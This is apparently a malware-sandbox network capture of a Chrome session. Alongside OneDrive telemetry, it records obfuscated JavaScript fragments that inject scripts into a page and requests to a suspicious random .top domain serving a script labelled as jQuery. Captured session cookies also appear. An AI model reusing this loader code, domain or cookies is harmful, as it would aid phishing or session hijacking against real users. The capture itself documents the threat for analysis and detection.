2024-10-25 08:20:21 UTC	1369	IN	Data Raw: 30 2c 5f 30 78 34 38 62 31 39 33 29 7b 5f 30 78 34 35 33 36 63 30 3d 5f 30 78 34 35 33 36 63 30 2d 30 78 31 35 62 3b 76 61 72 20 5f 30 78 35 30 32 65 31 66 3d 5f 30 78 32 61 33 35 37 34 5b 5f 30 78 34 35 33 36 63 30 5d 3b 72 65 74 75 72 6e 20 5f 30 78 35 30 32 65 31 66 3b 7d 2c 61 30 5f 30 78 31 36 32 63 28 5f 30 78 62 61 35 36 35 31 2c 5f 30 78 35 38 66 61 33 62 29 3b 7d 78 68 74 74 70 5b 61 30 5f 30 78 32 32 63 62 61 33 28 30 78 31 37 63 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 5f 30 78 31 39 38 62 35 33 3d 61 30 5f 30 78 32 32 63 62 61 33 3b 69 66 28 74 68 69 73 5b 27 72 65 61 64 79 53 74 61 74 65 27 5d 3d 3d 30 78 34 26 26 74 68 69 73 5b 27 73 74 61 74 75 73 27 5d 3d 3d 30 78 63 38 29 7b 76 61 72 20 5f 30 78 32 31 33 35 64 38 3d 64 6f 63 Data Ascii: 0,_0x48b193){_0x4536c0=_0x4536c0-0x15b;var _0x502e1f=_0x2a3574[_0x4536c0];return _0x502e1f;},a0_0x162c(_0xba5651,_0x58fa3b);}xhttp[a0_0x22cba3(0x17c)]=function(){var _0x198b53=a0_0x22cba3;if(this['readyState']==0x4&&this['status']==0xc8){var _0x2135d8=doc
2024-10-25 08:20:21 UTC	965	IN	Data Raw: 65 6e 74 5b 5f 30 78 32 66 63 33 35 38 28 30 78 31 36 32 29 5d 28 5f 30 78 32 66 63 33 35 38 28 30 78 31 36 39 29 29 3b 5f 30 78 34 36 32 35 34 34 5b 5f 30 78 32 66 63 33 35 38 28 30 78 31 36 36 29 5d 3d 5f 30 78 33 39 62 36 62 39 2c 5f 30 78 34 36 32 35 34 34 5b 5f 30 78 32 66 63 33 35 38 28 30 78 31 36 66 29 5d 3d 5f 30 78 63 31 31 63 62 64 2c 64 6f 63 75 6d 65 6e 74 5b 27 68 65 61 64 27 5d 5b 5f 30 78 32 66 63 33 35 38 28 30 78 31 38 66 29 5d 28 5f 30 78 34 36 32 35 34 34 29 3b 7d 7d 7d 7d 29 2c 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 31 39 38 62 35 33 28 30 78 31 37 38 29 5d 5b 5f 30 78 31 39 38 62 35 33 28 30 78 31 37 37 29 5d 3d 5f 30 78 32 31 33 35 64 38 5b 5f 30 78 31 39 38 62 35 33 28 30 78 31 37 37 29 5d 3b 7d 7d 2c 78 68 74 74 70 5b 61 30 5f 30 78 Data Ascii: ent[_0x2fc358(0x162)](_0x2fc358(0x169));_0x462544[_0x2fc358(0x166)]=_0x39b6b9,_0x462544[_0x2fc358(0x16f)]=_0xc11cbd,document['head'][_0x2fc358(0x18f)](_0x462544);}}}}),document[_0x198b53(0x178)][_0x198b53(0x177)]=_0x2135d8[_0x198b53(0x177)];}},xhttp[a0_0x
2024-10-25 08:20:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.6	50183	52.108.9.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:20:22 UTC	880	OUT	POST /suite/RemoteUls.ashx?usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&officeserverversion= HTTP/1.1 Host: common.online.office.com Connection: keep-alive Content-Length: 1380 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://onedrive.live.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://onedrive.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PUS11-ARRAffinity=10bd8af04c8343026a510214a1dab485a6c47e3c6c1c8f53480acbb2c880b54b; PUS6-ARRAffinity=e3e3f8e5117aaa7e10c888944e2cb8dfbefa412f5a5742a387712ea12f0d7906
2024-10-25 08:20:22 UTC	1380	OUT	Data Raw: 7b 22 54 22 3a 31 37 32 39 38 34 34 33 38 37 38 36 39 2c 22 4c 22 3a 5b 7b 22 47 22 3a 35 30 37 33 32 36 38 36 31 2c 22 54 22 3a 31 35 34 32 37 2c 22 4d 22 3a 22 46 65 74 63 68 69 6e 67 20 6d 61 6e 69 66 65 73 74 20 66 72 6f 6d 20 43 44 4e 20 77 61 73 20 73 75 63 63 65 73 73 66 75 6c 20 66 6f 72 20 4f 6e 65 4e 6f 74 65 20 69 6e 20 50 52 4f 44 55 43 54 49 4f 4e 20 77 69 74 68 20 65 78 70 6f 73 75 72 65 20 31 20 77 69 74 68 20 72 65 6d 61 69 6e 69 6e 67 20 72 65 74 72 79 20 63 6f 75 6e 74 20 31 2e 22 2c 22 43 22 3a 33 30 32 37 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 30 37 33 32 36 38 36 30 2c 22 54 22 3a 31 35 34 34 31 2c 22 4d 22 3a 22 50 61 72 73 69 6e 67 20 6d 61 6e 69 66 65 73 74 20 66 72 6f 6d 20 43 44 4e 20 77 61 73 20 73 75 63 63 65 73 73 66 75 Data Ascii: {"T":1729844387869,"L":[{"G":507326861,"T":15427,"M":"Fetching manifest from CDN was successful for OneNote in PRODUCTION with exposure 1 with remaining retry count 1.","C":3027,"D":50},{"G":507326860,"T":15441,"M":"Parsing manifest from CDN was successfu
2024-10-25 08:20:22 UTC	4313	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: e8188d66-3b37-4479-8f37-11e4d581d3c1 X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 X-OfficeFE: SN3PEPF0000F60D X-OfficeVersion: 16.0.18218.41000 X-OfficeCluster: PUS6 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://onedrive.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: C78C301AFEA9348D5ECE9A0B93BE4D1DAB74B6B1 X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19243470,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,25531993,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42513088,42815875,42857251,50406866,50431969,50622685,51451613,51504083,51667010,84165957,306230 [TRUNCATED] X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF000136E8 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_pptcapacity_control,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: 7F3E218D47F14B1E9F0E0FF08EFAA3C2 Ref B: DFW311000105019 Ref C: 2024-10-25T08:20:22Z Date: Fri, 25 Oct 2024 08:20:21 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.6	50188	172.67.167.62	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:20:22 UTC	1373	OUT	GET /js___/671b54c597db9-df9266ed069883385b9ae264cbaeed5e HTTP/1.1 Host: ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/&redirect=decffa29e87b6f8cfabb3139b5d4b8cea73cc7d2main&uid=f253efe302d32ab264a76e0ce65be769671b54c415570 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=c147e9980a1d72d62d70c44c4c0e984c; cf_clearance=9Zd6xGiJaXgzmDGoA9fkBzXIza3PQQRM.C5pdMXbtxI-1729844413-1.2.1.1-4k_vy4QSp_yO9.Yn8seiiKgNmKLQk7xeUzrrDnXVFPT5HesB0BYTBeopvPzGt4LojXkColg7VEMftk75N_YwUjEaFYRxSQ6.2lzI7AhwzJjtb7mzIQQb64YkRRxgObgLi4wz5i8KSAXWWevktQXED_oQtt1ot6rKG38RKres6fBnTzOWm2cQYBuShYWedAJ0oWgN8ud1L0df0cQeBY8GqNed9QUxULLLn4IMP3k_FgTs_3BlBjTDHMJwSxIolrIGkrSHaG5y4zKEfDThlgOqgbYyu362g6haTMWSrplJy7PksfrAXEuvsjem9iizzs02MUr6LKFhYixb1xx5rkdshkDi0AMhNg8ntNb9mJbH5AZgCT4oyOiMvR.UVsKpcnhOfIjKxtSjRUx0nOy1VyxjIJdE.n4CGm_bW72zt4oftx5v4RWH5UH9rHcIm6TfR4He
2024-10-25 08:20:23 UTC	956	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:20:23 GMT Content-Type: text/javascript Transfer-Encoding: chunked Connection: close last-modified: Thu, 24 Oct 2024 22:19:07 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ooJyqaQ%2B68LSTJeL%2Bm8sOSiGGJvmNMLsidCf5KJjcRteaUItBdz3a4IL4W%2Fkw8B%2BTCqObYStTCXCkB433sQnb77Wc3tlkNQglQ%2BJdmik4glTKoS7l52zXJK%2FxNybBfAFUjzJghv%2BK7gL%2B08OJamguXHACqhHYoHKz7lCRd1FTZGJpVjzDWmQ1oQ05kIy%2F%2FeAQbKAyr5PXkHk90OmvBR%2B9g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d80c97c2ddc6c70-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1218&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2890&recv_bytes=1951&delivery_rate=2058280&cwnd=251&unsent_bytes=0&cid=af418b5d101615b1&ts=362&x=0"
2024-10-25 08:20:23 UTC	413	IN	Data Raw: 37 63 61 32 0d 0a 2f 2a 21 20 6a 51 75 65 72 79 20 76 32 2e 32 2e 34 20 7c 20 28 63 29 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 2e 64 6f 63 75 6d 65 6e 74 3f 62 28 61 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 61 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 65 71 75 69 72 65 73 20 61 20 77 69 6e 64 6f 77 20 77 69 74 68 20 61 20 64 Data Ascii: 7ca2/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a d
2024-10-25 08:20:23 UTC	1369	IN	Data Raw: 74 72 69 6e 67 2c 6b 3d 69 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 6c 3d 7b 7d 2c 6d 3d 22 32 2e 32 2e 34 22 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 6e 2e 66 6e 2e 69 6e 69 74 28 61 2c 62 29 7d 2c 6f 3d 2f 5e 5b 5c 73 5c 75 46 45 46 46 5c 78 41 30 5d 2b 7c 5b 5c 73 5c 75 46 45 46 46 5c 78 41 30 5d 2b 24 2f 67 2c 70 3d 2f 5e 2d 6d 73 2d 2f 2c 71 3d 2f 2d 28 5b 5c 64 61 2d 7a 5d 29 2f 67 69 2c 72 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 62 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 7d 3b 6e 2e 66 6e 3d 6e 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 6a 71 75 65 72 79 3a 6d 2c 63 6f 6e 73 74 72 75 63 74 6f 72 3a 6e 2c 73 65 6c 65 63 74 6f 72 3a 22 22 2c 6c 65 6e 67 74 68 3a 30 2c 74 6f 41 72 Data Ascii: tring,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toAr
2024-10-25 08:20:23 UTC	1369	IN	Data Raw: 20 67 7d 2c 6e 2e 65 78 74 65 6e 64 28 7b 65 78 70 61 6e 64 6f 3a 22 6a 51 75 65 72 79 22 2b 28 6d 2b 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 29 2e 72 65 70 6c 61 63 65 28 2f 5c 44 2f 67 2c 22 22 29 2c 69 73 52 65 61 64 79 3a 21 30 2c 65 72 72 6f 72 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 61 29 7d 2c 6e 6f 6f 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 69 73 46 75 6e 63 74 69 6f 6e 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 3d 6e 2e 74 79 70 65 28 61 29 7d 2c 69 73 41 72 72 61 79 3a 41 72 72 61 79 2e 69 73 41 72 72 61 79 2c 69 73 57 69 6e 64 6f 77 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 61 26 26 61 3d 3d 3d 61 2e 77 69 6e Data Ascii: g},n.extend({expando:"jQuery"+(m+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===n.type(a)},isArray:Array.isArray,isWindow:function(a){return null!=a&&a===a.win
2024-10-25 08:20:23 UTC	1369	IN	Data Raw: 28 63 2c 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 61 3f 5b 61 5d 3a 61 29 3a 67 2e 63 61 6c 6c 28 63 2c 61 29 29 2c 63 7d 2c 69 6e 41 72 72 61 79 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 62 3f 2d 31 3a 68 2e 63 61 6c 6c 28 62 2c 61 2c 63 29 7d 2c 6d 65 72 67 65 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 2b 62 2e 6c 65 6e 67 74 68 2c 64 3d 30 2c 65 3d 61 2e 6c 65 6e 67 74 68 3b 63 3e 64 3b 64 2b 2b 29 61 5b 65 2b 2b 5d 3d 62 5b 64 5d 3b 72 65 74 75 72 6e 20 61 2e 6c 65 6e 67 74 68 3d 65 2c 61 7d 2c 67 72 65 70 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 66 6f 72 28 76 61 72 20 64 2c 65 3d 5b 5d 2c 66 3d 30 2c 67 3d 61 2e 6c 65 6e 67 74 68 2c 68 3d 21 63 3b 67 Data Ascii: (c,"string"==typeof a?[a]:a):g.call(c,a)),c},inArray:function(a,b,c){return null==b?-1:h.call(b,a,c)},merge:function(a,b){for(var c=+b.length,d=0,e=a.length;c>d;d++)a[e++]=b[d];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;g
2024-10-25 08:20:23 UTC	1369	IN	Data Raw: 63 2b 2b 29 69 66 28 61 5b 63 5d 3d 3d 3d 62 29 72 65 74 75 72 6e 20 63 3b 72 65 74 75 72 6e 2d 31 7d 2c 4b 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4c 3d 22 5b 5c 5c 78 32 30 5c 5c 74 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 2c 4d 3d 22 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5c 5c 77 2d 5d 7c 5b 5e 5c 5c 78 30 30 2d 5c 5c 78 61 30 5d 29 2b 22 2c 4e 3d 22 5c 5c 5b 22 2b 4c 2b 22 2a 28 22 2b 4d 2b 22 29 28 3f 3a 22 2b 4c 2b 22 2a 28 5b 2a 5e Data Ascii: c++)if(a[c]===b)return c;return-1},K="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",L="[\\x20\\t\\r\\n\\f]",M="(?:\\\\.\|[\\w-]\|[^\\x00-\\xa0])+",N="\\["+L+"("+M+")(?:"+L+"([*^
2024-10-25 08:20:23 UTC	1369	IN	Data Raw: 6e 28 61 2c 62 2c 63 29 7b 76 61 72 20 64 3d 22 30 78 22 2b 62 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 64 21 3d 3d 64 7c 7c 63 3f 62 3a 30 3e 64 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 64 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 64 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 64 7c 35 36 33 32 30 29 7d 2c 64 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 6d 28 29 7d 3b 74 72 79 7b 48 2e 61 70 70 6c 79 28 45 3d 49 2e 63 61 6c 6c 28 76 2e 63 68 69 6c 64 4e 6f 64 65 73 29 2c 76 2e 63 68 69 6c 64 4e 6f 64 65 73 29 2c 45 5b 76 2e 63 68 69 6c 64 4e 6f 64 65 73 2e 6c 65 6e 67 74 68 5d 2e 6e 6f 64 65 54 79 70 65 7d 63 61 74 63 68 28 65 61 29 7b 48 3d 7b 61 70 70 6c 79 3a 45 2e 6c 65 6e 67 74 68 3f 66 Data Ascii: n(a,b,c){var d="0x"+b-65536;return d!==d\|\|c?b:0>d?String.fromCharCode(d+65536):String.fromCharCode(d>>10\|55296,1023&d\|56320)},da=function(){m()};try{H.apply(E=I.call(v.childNodes),v.childNodes),E[v.childNodes.length].nodeType}catch(ea){H={apply:E.length?f
2024-10-25 08:20:23 UTC	1369	IN	Data Raw: 20 61 3d 5b 5d 3b 66 75 6e 63 74 69 6f 6e 20 62 28 63 2c 65 29 7b 72 65 74 75 72 6e 20 61 2e 70 75 73 68 28 63 2b 22 20 22 29 3e 64 2e 63 61 63 68 65 4c 65 6e 67 74 68 26 26 64 65 6c 65 74 65 20 62 5b 61 2e 73 68 69 66 74 28 29 5d 2c 62 5b 63 2b 22 20 22 5d 3d 65 7d 72 65 74 75 72 6e 20 62 7d 66 75 6e 63 74 69 6f 6e 20 68 61 28 61 29 7b 72 65 74 75 72 6e 20 61 5b 75 5d 3d 21 30 2c 61 7d 66 75 6e 63 74 69 6f 6e 20 69 61 28 61 29 7b 76 61 72 20 62 3d 6e 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 74 72 79 7b 72 65 74 75 72 6e 21 21 61 28 62 29 7d 63 61 74 63 68 28 63 29 7b 72 65 74 75 72 6e 21 31 7d 66 69 6e 61 6c 6c 79 7b 62 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 Data Ascii: a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ha(a){return a[u]=!0,a}function ia(a){var b=n.createElement("div");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild
2024-10-25 08:20:23 UTC	1369	IN	Data Raw: 65 74 75 72 6e 20 61 2e 63 6c 61 73 73 4e 61 6d 65 3d 22 69 22 2c 21 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 63 6c 61 73 73 4e 61 6d 65 22 29 7d 29 2c 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 3d 69 61 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6e 2e 63 72 65 61 74 65 43 6f 6d 6d 65 6e 74 28 22 22 29 29 2c 21 61 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 2a 22 29 2e 6c 65 6e 67 74 68 7d 29 2c 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 3d 5a 2e 74 65 73 74 28 6e 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 29 2c 63 2e 67 65 74 42 79 49 64 3d 69 61 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 Data Ascii: eturn a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ia(function(a){return a.appendChild(n.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=Z.test(n.getElementsByClassName),c.getById=ia(function(a){r
2024-10-25 08:20:23 UTC	1369	IN	Data Raw: 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 6d 73 61 6c 6c 6f 77 63 61 70 74 75 72 65 5e 3d 27 27 5d 22 29 2e 6c 65 6e 67 74 68 26 26 71 2e 70 75 73 68 28 22 5b 2a 5e 24 5d 3d 22 2b 4c 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 73 65 6c 65 63 74 65 64 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 5c 5c 5b 22 2b 4c 2b 22 2a 28 3f 3a 76 61 6c 75 65 7c 22 2b 4b 2b 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 69 64 7e 3d 22 2b 75 2b 22 2d 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 7e 3d 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 Data Ascii: ySelectorAll("[msallowcapture^='']").length&&q.push("[^$]="+L+"(?:''\|\"\")"),a.querySelectorAll("[selected]").length\|\|q.push("\\["+L+"*(?:value\|"+K+")"),a.querySelectorAll("[id~="+u+"-]").length\|\|q.push("~="),a.querySelectorAll(":checked").length\|\|q.pus
2024-10-25 08:20:23 UTC	1369	IN	Data Raw: 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 61 29 3d 3d 3d 28 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 29 3f 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 62 29 3a 31 2c 31 26 64 7c 7c 21 63 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 61 29 3d 3d 3d 64 3f 61 3d 3d 3d 6e 7c 7c 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 3d 76 26 26 74 28 76 2c 61 29 3f 2d 31 3a 62 3d 3d 3d 6e 7c 7c 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 3d 76 26 26 74 28 76 2c 62 29 3f 31 3a 6b 3f 4a 28 6b 2c 61 29 2d 4a 28 6b 2c 62 29 3a 30 3a 34 26 64 3f 2d 31 3a 31 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 3d 3d 3d 62 29 Data Ascii: .ownerDocument\|\|a)===(b.ownerDocument\|\|b)?a.compareDocumentPosition(b):1,1&d\|\|!c.sortDetached&&b.compareDocumentPosition(a)===d?a===n\|\|a.ownerDocument===v&&t(v,a)?-1:b===n\|\|b.ownerDocument===v&&t(v,b)?1:k?J(k,a)-J(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.6	50189	172.67.167.62	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:20:23 UTC	1370	OUT	GET /b_/671b54c597dcb-df9266ed069883385b9ae264cbaeed5e HTTP/1.1 Host: ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/&redirect=decffa29e87b6f8cfabb3139b5d4b8cea73cc7d2main&uid=f253efe302d32ab264a76e0ce65be769671b54c415570 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=c147e9980a1d72d62d70c44c4c0e984c; cf_clearance=9Zd6xGiJaXgzmDGoA9fkBzXIza3PQQRM.C5pdMXbtxI-1729844413-1.2.1.1-4k_vy4QSp_yO9.Yn8seiiKgNmKLQk7xeUzrrDnXVFPT5HesB0BYTBeopvPzGt4LojXkColg7VEMftk75N_YwUjEaFYRxSQ6.2lzI7AhwzJjtb7mzIQQb64YkRRxgObgLi4wz5i8KSAXWWevktQXED_oQtt1ot6rKG38RKres6fBnTzOWm2cQYBuShYWedAJ0oWgN8ud1L0df0cQeBY8GqNed9QUxULLLn4IMP3k_FgTs_3BlBjTDHMJwSxIolrIGkrSHaG5y4zKEfDThlgOqgbYyu362g6haTMWSrplJy7PksfrAXEuvsjem9iizzs02MUr6LKFhYixb1xx5rkdshkDi0AMhNg8ntNb9mJbH5AZgCT4oyOiMvR.UVsKpcnhOfIjKxtSjRUx0nOy1VyxjIJdE.n4CGm_bW72zt4oftx5v4RWH5UH9rHcIm6TfR4He
